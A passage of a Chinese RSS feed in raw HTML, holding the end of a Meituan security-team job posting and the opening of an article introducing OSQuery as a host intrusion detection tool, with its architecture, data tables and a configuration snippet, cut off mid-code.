data-darkmode-original-bgcolor-16609009164016="#fff|rgb(250, 245, 221)" data-darkmode-color-16609009164016="rgb(173, 125, 2)" data-darkmode-original-color-16609009164016="#fff|rgb(253, 188, 24)" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: left;white-space: normal;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;visibility: visible;"><strong data-darkmode-bgcolor-16609009164016="rgb(195, 191, 172)" data-darkmode-original-bgcolor-16609009164016="#fff|rgb(250, 245, 221)" data-darkmode-color-16609009164016="rgb(173, 125, 2)" data-darkmode-original-color-16609009164016="#fff|rgb(253, 188, 24)" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span data-darkmode-bgcolor-16609009164016="rgb(195, 191, 172)" data-darkmode-original-bgcolor-16609009164016="#fff|rgb(250, 245, 221)" data-darkmode-color-16609009164016="rgb(173, 125, 2)" data-darkmode-original-color-16609009164016="#fff|rgb(253, 188, 24)" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 18px;letter-spacing: 0px;text-align: justify;visibility: visible;">入侵对抗工程师/专家 </span></strong></span></p></section></section></section></section></section></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: normal;display: flex;flex-flow: row nowrap;text-align: left;justify-content: flex-start;visibility: visible;overflow-wrap: break-word !important;"><section data-style="display: inline-block; width: auto; vertical-align: top; border-left: 1px dashed rgb(253, 188, 24); border-bottom-left-radius: 0px; flex: 100 100 0%; align-self: flex-start; height: auto; margin: 0px 0px 0px 10px; box-sizing: border-box;" style="margin: 0px 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border-left: 1px dashed rgb(253, 188, 24);display: inline-block;width: auto;vertical-align: top;border-bottom-left-radius: 0px;flex: 100 100 0%;align-self: flex-start;height: auto;visibility: visible;"><section powered-by="xiumi.us" style="margin: 0px 0px 11px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><section style="margin: 0px;padding: 0px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;font-size: 14px;visibility: visible;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;">工作地点</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">北京/上海</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;">岗位属性</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">社招</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;">岗位职责</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">负责美团安全攻防能力建设，包括但不限于日志/漏洞/后门分析，安全事件响应调查，安全检测策略和模型的开发设计，安全评估/渗透测试。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;">岗位要求</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;visibility: visible;">1.3年以上工作经验，熟悉网络安全攻防技术和工具，熟悉常见的Web/系统安全漏洞及原理；<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/>2.熟悉Linux/Windows系统原理，并能以Linux/Mac作为工作平台；<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/>3.熟悉至少一种编程语言，如Python，C，Java，GO等；<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/>4.熟悉业界安全攻防动态，追踪新的安全漏洞，能够分析漏洞原理和实现PoC编写；<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/>5.能够无障碍阅读英文技术Paper；<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"/>6.热爱安全工作，具备优秀的逻辑思维能力，对解决挑战性问题充满热情，善于解决问题和分析问题。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">优先条件</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">有互联网企业安全工作经验。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">岗位亮点</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">1.能够接触到互联网公司的架构，了解到安全在大型互联网公司落地的最佳实践；<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">2.参与互联网公司海量服务下的入侵检测</p></section></section></section></section><p><br/></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;">投递邮箱：</span><span style="font-size: 14px;letter-spacing: 0.544px;">EDP.src@meituan.com</span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;">邮件主题：</span><span style="font-size: 14px;letter-spacing: 0.544px;">【意向岗位+城市】</span><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"></span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 14px;letter-spacing: 0.544px;">更多岗位见：</span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 14px;letter-spacing: 0.544px;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzI5MDc4MTM3Mg==&amp;mid=2247490335&amp;idx=1&amp;sn=02e76b0a2f09651f4f1a3628e30a8a60&amp;chksm=ec1bfaccdb6c73da597f69b9c386253db9869517993bcbd90950cad17c659fd4bc16f1cad886&amp;scene=21#wechat_redirect" textvalue="招聘 ｜ 在线等秋天的第一封简历，期待你加入美团信息安全～" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="margin: 0px;padding: 0px;color: rgb(87, 107, 149);text-decoration: none;font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;" data-linktype="2">招聘 ｜ 在线等秋天的第一封简历，期待你加入美团信息安全～</a></span></section>



<p><a href="https://mp.weixin.qq.com/s/Xma1TPnwLGXnXrnqbl4o9g#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=38e4f550&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483820%26idx%3D1%26sn%3D22dc4117a2f575e0005dc4ac7ff7b812%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Aug 2022 15:13:00 +0800</pubDate>
    </item>
    <item>
      <title>All About OSQuery (一)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483802&amp;idx=1&amp;sn=a50e6da53e33f3566a2c5bb586251a47</link>
      <description>”我还活着“系列</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2019-04-19 14:32</span> <span style="display: inline-block;"></span>
</p>

<p>”我还活着“系列</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=737ad3d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQnDic1ia1Ff6LVydjXCndgoLNjG7fY1eVfW6244K4GTXErUPK5Dvlor9Rp9aodCwL2ib4iacRibnAJfT5w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>囤货，首发于跳跳糖。</p><p>原文链接：<a href="https://tttang.com/archive/4/" target="_blank">https://tttang.com/archive/4/</a></p><p><br/></p><h3 style="box-sizing: border-box;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">0x01 概述</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">OSQuery 是一款由 facebook 开源的，面向 OSX 和 Linux 的监控与分析工具。OSQuery 允许使用 SQL 的方式来获取系统的相关信息，比如正在运行的进程，已加载的内核模块，已打开的网络连接，硬件事件等等。</p><p style="text-align: center;"><img class="rich_pages" data-copyright="0" data-ratio="0.11123595505617978" data-s="300,640" style="" data-type="jpeg" data-w="890" src="https://wechat2rss.xlab.app/img-proxy/?k=40ba2aa5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQnDic1ia1Ff6LVydjXCndgoLN6NRqBTZUbJ1ppDULdwA8K0Mic1zUJSfg95A7p4eu1ic9j6JwlzPrLibCg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">OSQuery 拥有较高的社区活跃度，目前在 Github 上有一万多 star，四千多次 commit，两百多个开发者。大多数 issue 都能及时解决（这是亲身经历，感谢开发者的答疑解惑）。<br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">理想状况下，OSQuery 作为 HIDS，线上运行时的整体架构应该是这样的：</p><p style="text-align: center;"><img class="rich_pages" data-copyright="0" data-ratio="0.9157706093189965" data-s="300,640" style="" data-type="jpeg" data-w="1116" src="https://wechat2rss.xlab.app/img-proxy/?k=3183b08d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQnDic1ia1Ff6LVydjXCndgoLNWU87ENUzhJdh3BgjUyeOmrqhomy3XEpJlia8zN58kKic8rpGvjm5M4Kw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">其中，回传队列、日志存储可以根据公司的现状进行调整。比如，用 rsyslog 替换 kafka，ElasticSearch/ClickHouse 替换 Hive 等等。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">OSQuery 本身只包含服务器上安装的 Agent，但是提供了丰富的配置项：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">支持配置远程 Server，调用 http 接口拉取最新的配置文件（包括采集规则、Agent基础配置），并实时生效</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">支持多种日志回传方式，比如 syslog、kafka、filesystem、tls 等</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">支持实时语句的下发，语句拉取及结果回传都走 http(s) 接口，适合调试及单次执行（实测，非常有用）</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">OSQuery 提供了 200+ 数据表供查询：<a href="https://osquery.io/schema/3.3.0，数据来源也非常丰富：" target="_blank">https://osquery.io/schema/3.3.0，数据来源也非常丰富：</a></p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">直接读取文件，如：users、dns<span style="box-sizing: border-box;">resolvers、user</span>ssh_keys</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">执行系统命令，如：logged<span style="box-sizing: border-box;">in</span>users、deb_packages</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">audit，如：process<span style="box-sizing: border-box;">events、socket</span>events、user_events</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">inotify，如：file_events</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">syslog，如：syslog_events</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">如果 200 多张表仍然不能满足你的需求，可以通过编写插件来扩展。但是就不能热更新（直接通过 Server 端下发）了，需要更新 Agent 本身，并且重启相关服务。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">OSQuery 安装后，会占用两个目录：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">/etc/osquery/: osquery bin文件及部分配置文件</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">/var/osquery/osquery.db/: osquery本地存储</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">OSQuery 是支持差异回传的，比如：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;users_snapshot&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;interval&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">86400</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;platform&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;all&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;query&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;SELECT * FROM users;&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;removed&#34;</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 